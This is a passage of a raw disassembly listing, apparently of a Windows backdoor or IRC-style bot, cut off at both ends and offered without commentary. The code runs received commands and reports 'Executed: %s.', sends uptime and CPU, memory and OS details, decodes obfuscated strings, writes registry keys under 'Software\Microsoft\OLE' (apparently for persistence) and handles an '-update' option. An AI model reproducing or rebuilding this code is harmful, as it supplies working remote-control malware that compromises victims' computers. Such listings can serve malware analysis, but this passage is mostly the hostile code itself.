eax lea edx, [esp+17Ch+var_11C] push offset aResolve_errorS ; "resolve.error %s." push edx call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_11C] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_40545B: ; CODE XREF: sub_404CC0+64Fj mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_11C] mov bl, al mov [esp+178h+var_4], ebp call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40547E: ; CODE XREF: sub_404CC0+50Cj lea ecx, [edi+0BCDh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_40556C lea ecx, [edi+9] call sub_4017EE lea edx, [esp+178h+var_164] push eax push edx call sub_402040 push 0 push 25h push 1Dh push 23h lea eax, [esp+190h+var_14C] mov ebx, 11h push 28h push eax mov [esp+198h+var_4], ebx call sub_4019C4 add esp, 20h mov esi, eax lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 12h call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 push 20h lea ecx, [esp+17Ch+var_14C] push 0 push ecx lea ecx, [esp+184h+var_164] call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 13h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], bl call sub_401226 lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_40556C: ; CODE XREF: sub_404CC0+7D3j lea ecx, [edi+0E23h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056DA push offset asc_444600 ; " " lea edx, [esp+17Ch+var_11C] push 1 push edx mov ecx, esi call sub_4016B8 mov edi, eax mov ecx, ebp mov [esp+178h+var_4], 14h call sub_4013E3 mov ecx, edi mov ebx, eax call sub_4013E3 mov ecx, esi lea edi, [ebx+eax+3] call sub_4013E3 cmp eax, edi lea ecx, [esp+178h+var_11C] setle bl or edi, 0FFFFFFFFh mov [esp+178h+var_4], edi call sub_401226 test bl, bl jnz loc_4056BD lea ecx, [esp+178h+var_14C] call sub_40142E mov ecx, ebp mov [esp+178h+var_4], 15h call sub_4013E3 add eax, 2 mov ecx, esi push eax call sub_401479 push eax lea ecx, [esp+17Ch+var_14C] call sub_4015E1 lea ecx, [esp+178h+var_164] call sub_40142E lea ecx, [esp+178h+var_14C] mov byte ptr [esp+178h+var_4], 16h call sub_4017EE push eax lea eax, [esp+17Ch+var_164] push offset aExecutedS_ ; "Executed: %s." push eax call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_14C] call sub_4017EE push eax nop call near ptr 77C293C7h add esp, 4 cmp eax, edi lea ecx, [esi+69h] jnz short loc_405674 call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aExec_error ; "exec.error" push ecx push edx jmp short loc_405692 ; --------------------------------------------------------------------------- loc_405674: ; CODE XREF: sub_404CC0+997j call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx loc_405692: ; CODE XREF: sub_404CC0+9B2j mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 15h call sub_401226 mov [esp+178h+var_4], edi lea ecx, [esp+178h+var_14C] loc_4056B8: ; CODE XREF: sub_404CC0+1D4j ; sub_404CC0+2AFj ... call sub_401226 loc_4056BD: ; CODE XREF: sub_404CC0+91Cj ; sub_404CC0+C6Aj xor al, al loc_4056BF: ; CODE XREF: sub_404CC0+6Fj ; sub_404CC0+200j ... mov ecx, [esp+178h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 168h retn 4 ; --------------------------------------------------------------------------- loc_4056DA: ; CODE XREF: sub_404CC0+8C1j lea ecx, [edi+0C85h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_405750 lea edx, [esp+178h+var_164] mov ecx, edi push edx call sub_401F5A mov edi, eax lea ecx, [esi+69h] mov [esp+178h+var_4], 17h call sub_4014DD push eax mov ecx, edi call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D8085 call sub_401118 lea ecx, [esp+178h+var_164] mov bl, al mov [esp+178h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405750: ; CODE XREF: sub_404CC0+A2Fj lea ecx, [edi+0CE1h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405841 push 1 push offset asc_444600 ; " " lea edx, [esp+180h+var_14C] push 1 push edx mov ecx, esi call sub_4011EA push 20h lea ecx, [esp+17Ch+var_164] push 0 push ecx mov ecx, eax mov [esp+184h+var_4], 18h call sub_4012B2 mov ecx, eax mov byte ptr [esp+178h+var_4], 19h call sub_4017EE push eax push offset aS ; "%s" push offset byte_4E8E55 call sub_40102D add esp, 0Ch lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 18h call sub_401226 or edi, 0FFFFFFFFh lea ecx, [esp+178h+var_14C] mov [esp+178h+var_4], edi call sub_401226 push 0 push 25h push 1Dh push 23h lea edx, [esp+188h+var_164] push 28h push edx call sub_4019C4 add esp, 18h mov esi, eax mov ecx, offset byte_4E8E55 mov [esp+178h+var_4], 1Ah call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSS_0 ; "%s %s\r\n" push offset byte_4D8085 call sub_401E24 add esp, 10h lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], edi call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405841: ; CODE XREF: sub_404CC0+AA5j lea ecx, [edi+0CB3h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_405915 push offset asc_444600 ; " " lea eax, [esp+17Ch+var_14C] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+178h+var_4], 1Bh call sub_4017EE push eax nop call near ptr 77C1BF18h or ebp, 0FFFFFFFFh add esp, 4 lea ecx, [esp+178h+var_14C] mov ebx, eax mov [esp+178h+var_4], ebp call sub_401226 test ebx, ebx jnz short loc_4058A9 mov ebx, 7 loc_4058A9: ; CODE XREF: sub_404CC0+BE2j lea ecx, [esp+178h+var_164] push ebx push ecx mov ecx, edi call sub_40195B push offset byte_448F40 lea ecx, [esp+17Ch+var_164] mov [esp+17Ch+var_4], 1Ch call sub_4012EE test eax, eax jz short loc_4058FE lea ecx, [esi+69h] call sub_4014DD push eax lea ecx, [esp+17Ch+var_164] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D8085 call sub_401118 loc_4058FE: ; CODE XREF: sub_404CC0+C11j lea ecx, [esp+178h+var_164] mov [esp+178h+var_4], ebp call sub_401226 mov al, 1 jmp loc_4056BF ; --------------------------------------------------------------------------- loc_405915: ; CODE XREF: sub_404CC0+B96j lea ecx, [edi+0DF5h] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4056BD lea ecx, [esp+178h+var_100] call sub_40142E push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+22Ch+var_164] push 2Dh push ecx mov [esp+234h+var_4], 1Dh call sub_4019C4 add esp, 0BCh mov ecx, eax mov byte ptr [esp+178h+var_4], 1Eh call sub_4017EE push eax lea ecx, [esp+17Ch+var_100] call sub_401A9B lea ecx, [esp+178h+var_164] mov byte ptr [esp+178h+var_4], 1Dh call sub_401226 mov edi, offset aN ; "N" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+178h+var_8C] repne scasb not ecx sub edi, ecx mov [esp+178h+var_168], 0 mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb lea edi, [esp+178h+var_8C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov esi, dword_511764 mov edi, ecx lea ecx, [esp+178h+var_168] push ecx push 20019h push eax push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push 80000002h call esi push 0 push 27h push 29h push 1Dh push 1Eh push 5 push 0Ch push 2 push 1 push 0Eh lea edx, [esp+1B4h+var_178] push 1Fh push edx call sub_4019C4 add esp, 30h lea ecx, [esp+18Ch+var_A0] push edi push ecx push 1 push 0 mov ecx, eax mov [esp+19Ch+var_18], 1Fh call sub_4017EE mov edx, [esp+19Ch+var_17C] push eax push edx nop call near ptr 2950000h lea ecx, [esp+1A4h+var_190] mov [esp+1A4h+var_30], 1Dh call sub_401226 mov eax, [esp+1A4h+var_194] mov edi, dword_511740 push eax call edi lea ecx, [esp+1A8h+var_198] push ecx push 0F003Fh push 0 lea ecx, [esp+1B4h+var_130] call sub_4017EE push eax push 80000002h call esi push 0 push 5 push 18h push 5 push 4Eh push 5 push 14h push 1 push 13h lea edx, [esp+1E0h+var_1A8] push 2Dh push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1BCh+var_48], 20h call sub_4017EE mov ebp, dword_51176C push eax mov eax, [esp+1C0h+var_1AC] push eax call ebp lea ecx, [esp+1C4h+var_1B0] mov [esp+1C4h+var_50], 1Dh call sub_401226 mov ecx, [esp+1C4h+var_1B4] push ecx call edi push 0 push 5 push 18h push 5 push 4Eh push 48h push 0Eh push 15h push 12h lea edx, [esp+1ECh+var_1B4] push 9 push edx call sub_4019C4 add esp, 2Ch mov ecx, eax mov [esp+1C8h+var_54], 21h call sub_4017EE push eax call sub_401604 sub_404CC0 endp ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 84C61424h, 17424h, 0BFE81D00h, 8DFFFFB6h dd 0E844244Ch, 0FFFFB8BEh, 46822B3h, 68000001h, 104h, 4C244C8Dh dd 7C249C88h, 0E8000001h, 0FFFFC0E5h, 6DE89050h, 6A023EA4h dd 6A056A00h, 6A056A18h, 6A486A4Eh, 6A156A0Eh, 24448D12h dd 50096A38h, 0FFBE13E8h, 2CC483FFh, 84C6C88Bh, 17424h dd 2BE82300h, 50FFFFBCh, 48244C8Dh, 0FFBC21E8h, 4C8D50FFh dd 84684C24h, 51004446h, 0FFB450E8h, 10C483FFh, 14244C8Dh dd 74249C88h, 0E8000001h, 0FFFFB636h, 44244C8Dh, 0FFBA92E8h dd 2CE850FFh, 90023DB1h, 1024548Dh, 78244C8Dh, 3F6852h dd 6A000Fh, 0FFBBD9E8h, 26850FFh, 0FF800000h, 6A006AD6h dd 6A186A05h, 6A4E6A05h, 6A146A05h, 24448D01h, 50126A34h dd 0FFBD8BE8h, 28C483FFh, 84C6C88Bh, 17424h, 0A3E82400h dd 8BFFFFBBh, 5010244Ch, 8DD5FF51h, 8814244Ch, 174249Ch dd 0C3E80000h, 8BFFFFB5h, 52102454h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 0E6A486Ah, 496A486Ah, 456A126Ah, 448D456Ah dd 96A4424h, 0BD36E850h, 0C483FFFFh, 0C6C88B38h, 1742484h dd 0E8250000h, 0FFFFBB4Eh, 0B95EE850h, 0C483FFFFh, 244C8D04h dd 249C8814h, 174h, 0FFB56DE8h, 10468FFh, 4680000h, 8D000001h dd 0E84C244Ch, 0FFFFBFA5h, 2DE89050h, 6A023EA3h, 6A056A00h dd 6A056A18h, 6A486A4Eh, 6A486A0Eh, 6A126A49h, 8D456A45h dd 6A44244Ch, 0CDE85109h, 83FFFFBCh, 0C88B38C4h, 742484C6h dd 26000001h, 0FFBAE5E8h, 4C8D50FFh, 0DBE84824h, 50FFFFBAh dd 4C24548Dh, 44468468h, 0AE85200h, 83FFFFB3h, 4C8D10C4h dd 9C881424h, 17424h, 0B4F0E800h, 4C8DFFFFh, 4CE84424h dd 50FFFFB9h, 3DAFE6E8h, 448D9002h, 4C8D1024h, 68507824h dd 0F003Fh, 93E8006Ah, 50FFFFBAh, 268h, 6AD6FF80h, 6A056A00h dd 6A056A18h, 6A056A4Eh, 6A016A14h, 244C8D13h, 51136A38h dd 0FFBC43E8h, 2CC483FFh, 84C6C88Bh, 17424h, 5BE82700h dd 8BFFFFBAh, 50102454h, 8DD5FF52h, 8814244Ch, 174249Ch dd 7BE80000h, 8BFFFFB4h, 50102444h, 6AD7FFh, 186A056Ah dd 4E6A056Ah, 196A136Ah, 0E6A136Ah, 4C8D096Ah, 176A3C24h dd 0BBF2E851h, 0C483FFFFh, 0C6C88B30h, 1742484h, 0E8280000h dd 0FFFFBA0Ah, 0B81AE850h, 0C483FFFFh, 244C8D04h, 249C8814h dd 174h, 0FFB429E8h, 10468FFh, 4680000h, 8D000001h, 0E84C244Ch dd 0FFFFBE61h, 0E9E89050h, 6A023EA1h, 6A056A00h, 6A056A18h dd 6A136A4Eh, 6A136A19h, 8D096A0Eh, 6A3C2454h, 8DE85217h dd 83FFFFBBh, 0C88B30C4h, 742484C6h, 29000001h, 0FFB9A5E8h dd 4C8D50FFh, 9BE84824h, 50FFFFB9h, 4C24448Dh, 44468468h dd 0CAE85000h, 83FFFFB1h, 4C8D10C4h, 9C881424h, 17424h dd 0B3B0E800h, 4C8DFFFFh, 0CE84424h, 50FFFFB8h, 3DAEA6E8h dd 4C8D9002h, 68511024h, 0F003Fh, 8C8D006Ah, 8424h, 0B950E800h dd 6850FFFFh, 80000002h, 6AD6FFh, 186A056Ah, 4E6A056Ah dd 146A056Ah, 46A016Ah, 156A106Ah, 476A046Ah, 4824548Dh dd 0E852046Ah, 0FFFFBAF8h, 8B3CC483h, 2484C6C8h, 174h dd 0B910E82Ah, 8B50FFFFh, 50142444h, 4C8DD5FFh, 9C881424h dd 17424h, 0B330E800h, 4C8BFFFFh, 0FF511024h, 6A006AD7h dd 6A186A05h, 6A4E6A05h, 6A0C6A05h, 6A016A07h, 8D026A05h dd 6A402454h, 0A5E85202h, 83FFFFBAh, 0C88B34C4h, 742484C6h dd 2B000001h, 0FFB8BDE8h, 0CDE850FFh, 83FFFFB6h, 4C8D04C4h dd 9C881424h, 17424h, 0B2DCE800h, 468FFFFh, 68000001h dd 104h, 4C244C8Dh, 0FFBD14E8h, 0E89050FFh, 23EA09Ch, 56A006Ah dd 56A186Ah, 56A4E6Ah, 76A0C6Ah, 56A016Ah, 448D026Ah, 26A4024h dd 0BA3EE850h, 0C483FFFFh, 0C6C88B34h, 1742484h, 0E82C0000h dd 0FFFFB856h, 244C8D50h, 0B84CE848h, 8D50FFFFh, 684C244Ch dd 444684h, 0B07BE851h, 0C483FFFFh, 244C8D10h, 249C8814h dd 174h, 0FFB261E8h, 244C8DFFh, 0B6BDE844h, 9050FFFFh dd 3DAD56E8h, 24548D02h, 244C8D10h, 3F685278h, 6A000F00h dd 0B804E800h, 6850FFFFh, 80000002h, 6AD6FFh, 0F6A0E6Ah dd 0B6A276Ah, 16A136Ah, 3024448Dh, 0E8502E6Ah, 0FFFFB9B8h dd 8B24C483h, 2484C6C8h, 174h, 0B7D0E82Dh, 4C8BFFFFh, 51501024h dd 4C8DD5FFh, 9C881424h, 17424h, 0B1F0E800h, 548BFFFFh dd 0FF521024h, 6A006AD7h, 6A186A05h, 6A4E6A05h, 6A0F6A0Eh dd 6A0B6A0Dh, 8D016A13h, 6A402444h, 65E85014h, 83FFFFB9h dd 0C88B34C4h, 742484C6h, 2E000001h, 0FFB77DE8h, 8DE850FFh dd 83FFFFB5h, 4C8D04C4h, 9C881424h, 17424h, 0B19CE800h dd 468FFFFh, 68000001h, 104h, 4C244C8Dh, 0FFBBD4E8h, 5DE850FFh dd 90023E9Fh, 56A006Ah, 56A186Ah, 0E6A4E6Ah, 0D6A0F6Ah dd 136A0B6Ah, 4C8D016Ah, 146A4024h, 0B8FEE851h, 0C483FFFFh dd 0C6C88B34h, 1742484h, 0E82F0000h, 0FFFFB716h, 244C8D50h dd 0B70CE848h, 6850FFFFh, 444684h, 5024548Dh, 0AF3BE852h dd 0C483FFFFh, 244C8D10h, 249C8814h, 174h, 0FFB121E8h dd 244C8DFFh, 0B57DE844h, 0E850FFFFh, 23DAC17h, 24448D90h dd 244C8D10h, 3F685078h, 6A000F00h, 0B6C4E800h, 6850FFFFh dd 80000002h, 6AD6FFh, 56A126Ah, 0F6A126Ah, 106A0C6Ah dd 8C8D186Ah, 0B024h, 511F6A00h, 0FFB873E8h, 28C483FFh dd 84C6C88Bh, 17424h, 8BE83000h, 8BFFFFB6h, 50102454h dd 8DD5FF52h, 90248Ch, 9C880000h, 17424h, 0B0A8E800h, 448BFFFFh dd 0FF501024h, 10358BD7h, 6800511Bh, 444668h, 4C68D6FFh dd 0FF004446h, 462C68D6h, 0D6FF0044h, 44460868h, 83D6FF00h dd 4C8D10C4h, 84C64424h, 17424h, 6BE81D00h, 8DFFFFB0h dd 0C778244Ch, 1742484h, 0FFFF0000h, 57E8FFFFh, 0B0FFFFB0h dd 0F4E9E901h, 9090FFFFh, 2 dup(90909090h), 154h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_406730 proc near ; CODE XREF: sub_40195Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_406730 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push ebp push esi xor ebx, ebx push edi lea ecx, [esp+38h+var_24] mov [esp+38h+var_28], ebx call sub_40142E mov esi, [esp+38h+arg_4] mov ebp, 1 cmp esi, ebx mov [esp+38h+var_4], ebp jnz short loc_406781 mov esi, [esp+38h+arg_0] push ebx mov ecx, esi call sub_402112 mov [esp+38h+var_28], ebp jmp loc_406827 ; --------------------------------------------------------------------------- loc_406781: ; CODE XREF: sub_406730+3Aj nop call near ptr 27E0CD2h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx add edx, ecx sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov edi, edx cmp edi, esi jl short loc_406813 mov eax, ecx mov ecx, 15180h cdq idiv ecx mov esi, 0E10h mov ecx, edx mov eax, ecx cdq idiv esi mov eax, 88888889h mov esi, edx imul esi add edx, esi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx push edx push edi lea edx, [esp+44h+var_24] push offset aUpDdDhDm ; "up: %dd %dh %dm" push edx call sub_40102D mov esi, [esp+4Ch+arg_0] add esp, 14h lea eax, [esp+38h+var_24] mov ecx, esi push eax call sub_4014D3 jmp short loc_406823 ; --------------------------------------------------------------------------- loc_406813: ; CODE XREF: sub_406730+7Cj mov esi, [esp+38h+arg_0] push offset byte_448F40 mov ecx, esi call sub_401870 loc_406823: ; CODE XREF: sub_406730+E1j mov [esp+38h+var_28], ebp loc_406827: ; CODE XREF: sub_406730+4Cj lea ecx, [esp+38h+var_24] mov byte ptr [esp+38h+var_4], bl call sub_401226 mov ecx, [esp+38h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 28h retn 8 sub_406730 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4068A0: ; CODE XREF: ___:00401672j push ecx push esi mov esi, [esp+0Ch] push offset byte_448F40 mov ecx, esi mov dword ptr [esp+8], 0 call sub_401870 mov eax, esi pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4068E0 proc near ; CODE XREF: sub_401F5Aj var_198 = dword ptr -198h var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_164 = byte ptr -164h var_14C = byte ptr -14Ch var_144 = dword ptr -144h var_140 = dword ptr -140h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4068E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18Ch push ebp push esi push edi lea ecx, [esp+1A4h+var_18C] mov [esp+1A4h+var_198], 0 call sub_40142E mov [esp+1A4h+var_4], 1 nop call near ptr 27E0CD2h mov ecx, eax mov eax, 10624DD3h mul ecx mov esi, edx lea edx, [esp+1A4h+var_14C] push edx mov [esp+1A8h+var_190], 10h shr esi, 6 mov [esp+1A8h+var_194], 15h nop call near ptr 2830000h lea eax, [esp+1A4h+var_12C] mov [esp+1A4h+var_12C], 94h push eax call near ptr 2820000h nop mov eax, [esp+1A4h+var_128] cmp eax, 4 jnz short loc_4069AE mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_406996 mov eax, [esp+1A4h+var_11C] cmp eax, 1 jnz short loc_406986 mov ebp, offset a95 ; "95" jmp loc_406A21 ; --------------------------------------------------------------------------- loc_406986: ; CODE XREF: sub_4068E0+9Aj cmp eax, 2 jnz loc_406A1D mov ebp, offset aNt ; "NT" jmp short loc_4069EA ; --------------------------------------------------------------------------- loc_406996: ; CODE XREF: sub_4068E0+8Ej cmp eax, 0Ah jnz short loc_4069A2 mov ebp, offset a98 ; "98" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069A2: ; CODE XREF: sub_4068E0+B9j cmp eax, 5Ah jnz short loc_4069DB mov ebp, offset aMe ; "ME" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069AE: ; CODE XREF: sub_4068E0+83j cmp eax, 5 jnz short loc_4069DB mov eax, [esp+1A4h+var_124] test eax, eax jnz short loc_4069C5 mov ebp, offset a2000 ; "2000" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069C5: ; CODE XREF: sub_4068E0+DCj cmp eax, 1 jnz short loc_4069D1 mov ebp, offset aXp ; "XP" jmp short loc_4069E0 ; --------------------------------------------------------------------------- loc_4069D1: ; CODE XREF: sub_4068E0+E8j cmp eax, 2 mov ebp, offset a2003 ; "2003" jz short loc_4069E0 loc_4069DB: ; CODE XREF: sub_4068E0+C5j ; sub_4068E0+D1j mov ebp, offset a??? ; "???" loc_4069E0: ; CODE XREF: sub_4068E0+C0j ; sub_4068E0+CCj ... cmp [esp+1A4h+var_11C], 2 jnz short loc_406A21 loc_4069EA: ; CODE XREF: sub_4068E0+B4j mov al, [esp+1A4h+var_118] test al, al jz short loc_406A21 lea ecx, [esp+1A4h+var_118] lea edx, [esp+1A4h+var_98] push ecx push ebp push offset aSS_2 ; "%s [%s]" push edx call near ptr word_5F67AE nop add esp, 10h lea ebp, [esp+1A4h+var_98] jmp short loc_406A21 ; --------------------------------------------------------------------------- loc_406A1D: ; CODE XREF: sub_4068E0+A9j mov ebp, [esp+1A4h+var_198] loc_406A21: ; CODE XREF: sub_4068E0+A1j ; sub_4068E0+108j ... lea eax, [esp+1A4h+var_190] lea ecx, [esp+1A4h+var_174] push eax push ecx call near ptr 2810000h nop lea edx, [esp+1A4h+var_194] lea eax, [esp+1A4h+var_164] push edx push eax nop call near ptr 2930D7Dh mov eax, esi mov ecx, 15180h cdq idiv ecx lea eax, [esp+1A4h+var_174] mov edi, 0E10h mov ecx, edx lea edx, [esp+1A4h+var_164] push edx push eax mov eax, ecx cdq idiv edi mov eax, 88888889h mov edi, edx imul edi add edx, edi sar edx, 5 mov eax, edx shr eax, 1Fh add edx, eax mov eax, 91A2B3C5h push edx imul ecx add edx, ecx mov eax, 0C22E4507h sar edx, 0Bh mov ecx, edx shr ecx, 1Fh add edx, ecx mov ecx, [esp+1B0h+var_120] push edx imul esi add edx, esi sar edx, 10h mov eax, edx shr eax, 1Fh add edx, eax mov eax, [esp+1B4h+var_128] push edx mov edx, [esp+1B8h+var_124] push ecx mov ecx, [esp+1BCh+var_144] push edx push eax mov eax, 804021h push ebp mul ecx sub ecx, edx mov eax, 804021h shr ecx, 1 add ecx, edx shr ecx, 13h push ecx mov ecx, [esp+1CCh+var_140] mul ecx sub ecx, edx shr ecx, 1 add ecx, edx shr ecx, 13h push ecx call sub_4017FD push eax lea ecx, [esp+1D4h+var_18C] push offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "... push ecx call sub_40102D mov esi, [esp+1DCh+arg_0] add esp, 38h lea edx, [esp+1A4h+var_18C] push edx mov ecx, esi call sub_4014D3 mov [esp+1A4h+var_198], 1 lea ecx, [esp+1A4h+var_18C] mov byte ptr [esp+1A4h+var_4], 0 call sub_401226 mov ecx, [esp+1A4h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 198h retn 4 sub_4068E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406BF0 proc near ; CODE XREF: sub_4015E6j mov eax, ecx mov dword ptr [eax], offset off_43F008 mov dword ptr [eax+110h], 0 retn sub_406BF0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_406C20: ; CODE XREF: ___:00401FAAj push esi mov esi, ecx call sub_401447 test byte ptr [esp+8], 1 jz short loc_406C38 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406C38: ; CODE XREF: ___:00406C2Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_406C50 proc near ; CODE XREF: sub_401447j mov dword ptr [ecx], offset off_43F008 mov ecx, [ecx+110h] test ecx, ecx jz short locret_406C67 push ecx call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx locret_406C67: ; CODE XREF: sub_406C50+Ej retn sub_406C50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_406C80 proc near ; CODE XREF: sub_401384j arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_406C80 push eax mov large fs:0, esp sub esp, 448h push ebx mov ebx, ecx mov eax, [ebx+110h] test eax, eax jz short loc_406CB1 push eax call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_406CB1: ; CODE XREF: sub_406C80+26j push ebp push esi mov esi, [esp+460h+arg_0] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call sub_437AEA sub_406C80 endp ; --------------------------------------------------------------------------- mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+110h], edx repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov edi, [ebx+110h] or ecx, 0FFFFFFFFh mov byte ptr [ebx+4], 0 mov dword ptr [ebx+5], 0 mov byte ptr [ebx+9], 0 mov byte ptr [ebx+0Ah], 0 mov byte ptr [ebx+0Bh], 0 repne scasb not ecx push ecx call sub_437AEA ; --------------------------------------------------------------------------- mov edi, [ebx+110h] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov ebp, dword_511B00 mov eax, ecx mov esi, edi mov edi, edx push offset asc_444600 ; " " shr ecx, 2 rep movsd mov ecx, eax push edx and ecx, 3 rep movsb call ebp add esp, 10h mov [esp+58h], eax lea esi, [esp+5Ch] mov edi, 0FFh loc_406D62: ; CODE XREF: ___:00406D74j push offset asc_444600 ; " " push 0 call ebp mov [esi], eax add esp, 8 add esi, 4 dec edi jnz short loc_406D62 mov eax, [esp+58h] xor ecx, ecx cmp eax, ecx jz loc_406F68 lea ebp, [esp+58h] loc_406D88: ; CODE XREF: ___:00406F60j mov edi, [ebp+0] mov esi, offset dword_4447EC mov eax, edi loc_406D92: ; CODE XREF: ___:00406DB0j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DB6 test cl, cl jz short loc_406DB2 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DB6 add eax, 2 add esi, 2 test cl, cl jnz short loc_406D92 loc_406DB2: ; CODE XREF: ___:00406D9Cj xor eax, eax jmp short loc_406DBB ; --------------------------------------------------------------------------- loc_406DB6: ; CODE XREF: ___:00406D98j ; ___:00406DA6j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DBB: ; CODE XREF: ___:00406DB4j test eax, eax jz loc_406F58 mov esi, offset aUpdate ; "-update" mov eax, edi loc_406DCA: ; CODE XREF: ___:00406DE8j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DEE test cl, cl jz short loc_406DEA mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short 